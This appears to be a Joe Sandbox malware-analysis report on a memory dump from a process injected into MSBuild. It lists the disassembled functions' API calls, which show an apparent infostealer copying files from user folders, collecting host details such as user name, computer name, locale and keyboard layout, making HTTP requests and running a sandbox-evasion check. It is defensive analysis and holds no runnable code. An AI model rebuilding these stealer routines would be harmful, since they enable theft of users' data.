Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: `o@
API String ID: 0-590292170
Opcode ID: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction ID: c65cc5113f4fbf7636557f8b1f026e9f2285814709fd8c8344c4410f81c0aea8
Opcode Fuzzy Hash: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction Fuzzy Hash: A66138B4900219EFCB14DF94E944BEEB7B1BB04304F1185AAE40A77380D739AEA4DF95

Function 00414BB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414BEA
lstrcatA.KERNEL32(?,00D55688), ref: 00414C08

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00D54F38,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

Part of subcall function 00414910: wsprintfA.USER32 ref: 00414A07

Strings

UaA, xrefs: 00414C2F, 00414C64, 00414C9A, 00414CCF, 00414D05, 00414D3A, 00414D5F, 00414C32, 00414C67, 00414C9D, 00414CD2, 00414D08, 00414D3D

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: UaA
API String ID: 2104210347-3893042857
Opcode ID: f76eef8fce44aa4967a05993499158b30be10cc84edb5c5c67862afe97780de1
Instruction ID: 5a37e5a53a2562059c730f6b0b3ae842953eee94398a2728108a858f2c1bafc2
Opcode Fuzzy Hash: f76eef8fce44aa4967a05993499158b30be10cc84edb5c5c67862afe97780de1
Instruction Fuzzy Hash: 9341C5BA6001047BD754FBB0EC42EEE337DA785700F40851DB54A96186EE795BC88BA6

Function 004151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,00D54F68), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,00D562F0,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Strings

ERROR, xrefs: 00415273
ERROR, xrefs: 0041521A

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 9ad3e3659df19f2be40a08658cda63cc31681db51bdf2003e60922b473f200c1
Instruction ID: 74302943fe5589af4790b43ef38c2dd3b69765dcd24c28c5b90e35499643ece9
Opcode Fuzzy Hash: 9ad3e3659df19f2be40a08658cda63cc31681db51bdf2003e60922b473f200c1
Instruction Fuzzy Hash: 2D113330901008ABCB14FF61DD52AED7338AF50354F90416EF81A5A5D2EF38AB56CA9A

Function 00415050 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0041508A
lstrcatA.KERNEL32(?,00D560C8), ref: 004150A8

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Strings

aA, xrefs: 004150CF, 004150F4, 004150D2

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: aA
API String ID: 2699682494-2567749500
Opcode ID: d72f4a737726d54df99455f6ce83c9bf159133315d7b4ee64ed3cf280c4408bd
Instruction ID: 27646669aa04729862e240b26620d37997e147c17b59a732ce93ef494e7ce50b
Opcode Fuzzy Hash: d72f4a737726d54df99455f6ce83c9bf159133315d7b4ee64ed3cf280c4408bd
Instruction Fuzzy Hash: B801D6BAA4020877C714FBB0DC42EEE333CAB55304F00415DB68A570D1EE789AC88BA6

Function 004178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

Function 6CBC3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CBC3095

Part of subcall function 6CBC35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CC4F688,00001000), ref: 6CBC35D5
Part of subcall function 6CBC35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CBC35E0
Part of subcall function 6CBC35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CBC35FD
Part of subcall function 6CBC35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CBC363F
Part of subcall function 6CBC35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CBC369F
Part of subcall function 6CBC35A0: __aulldiv.LIBCMT ref: 6CBC36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CBC309F

Part of subcall function 6CBE5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CBE56EE,?,00000001), ref: 6CBE5B85
Part of subcall function 6CBE5B50: EnterCriticalSection.KERNEL32(6CC4F688,?,?,?,6CBE56EE,?,00000001), ref: 6CBE5B90
Part of subcall function 6CBE5B50: LeaveCriticalSection.KERNEL32(6CC4F688,?,?,?,6CBE56EE,?,00000001), ref: 6CBE5BD8
Part of subcall function 6CBE5B50: GetTickCount64.KERNEL32 ref: 6CBE5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CBC30BE

Part of subcall function 6CBC30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CBC3127
Part of subcall function 6CBC30F0: __aulldiv.LIBCMT ref: 6CBC3140

Part of subcall function 6CBFAB2A: __onexit.LIBCMT ref: 6CBFAB30

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 3fe1038523af2e1a0102e4ee089b6ddb36372826f143a9633a238bd83a8eadb4
Instruction ID: 6de1f7c9ff889d7946fb6c591e58307ab50499c291177bcde20cea8f0cf721c4
Opcode Fuzzy Hash: 3fe1038523af2e1a0102e4ee089b6ddb36372826f143a9633a238bd83a8eadb4
Instruction Fuzzy Hash: C3F0F922E207849ACB10FF7498415EAB374AF6B21CF50D319E89853611FB20A1DD8386

Function 00419470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
CloseHandle.KERNEL32(00000000), ref: 004194AF

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction ID: 2eda5d4ec063f04fe8048fb8b0a850fc323e1bbd58c3ab932ea79d0f281d5f74
Opcode Fuzzy Hash: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction Fuzzy Hash: BEF03A7994020CFBDB15DFA4DC4AFEA7778EB08310F004498BA1997290D6B4AE85CB95

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 00411A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00417500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
Part of subcall function 00417500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
Part of subcall function 00417500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
Part of subcall function 00417500: HeapAlloc.KERNEL32(00000000), ref: 0041760A

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 00417690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
Part of subcall function 00417690: HeapAlloc.KERNEL32(00000000), ref: 004176AB

Part of subcall function 004177C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,00D55668,00000000,?), ref: 004177F2
Part of subcall function 004177C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,00D55668,00000000,?), ref: 004177F9

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
Part of subcall function 00417980: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E00,00000000,?), ref: 004179B7
Part of subcall function 00417980: GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
Part of subcall function 00417980: wsprintfA.USER32 ref: 004179F3

Part of subcall function 00417A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00D55FD8,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
Part of subcall function 00417A30: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00D55FD8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
Part of subcall function 00417A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00D55FD8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D

Part of subcall function 00417B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,00D55FD8,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417B35

Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
Part of subcall function 00417B90: LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
Part of subcall function 00417B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
Part of subcall function 00417B90: LocalFree.KERNEL32(00000000), ref: 00417D22

Part of subcall function 00417D80: GetSystemPowerStatus.KERNEL32(?), ref: 00417DAD

GetCurrentProcessId.KERNEL32(00000000,?,00D55708,00000000,?,00420E24,00000000,?,00000000,00000000,?,00D56008,00000000,?,00420E20,00000000), ref: 0041207E

Part of subcall function 00419470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
Part of subcall function 00419470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
Part of subcall function 00419470: CloseHandle.KERNEL32(00000000), ref: 004194AF

Part of subcall function 00417E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
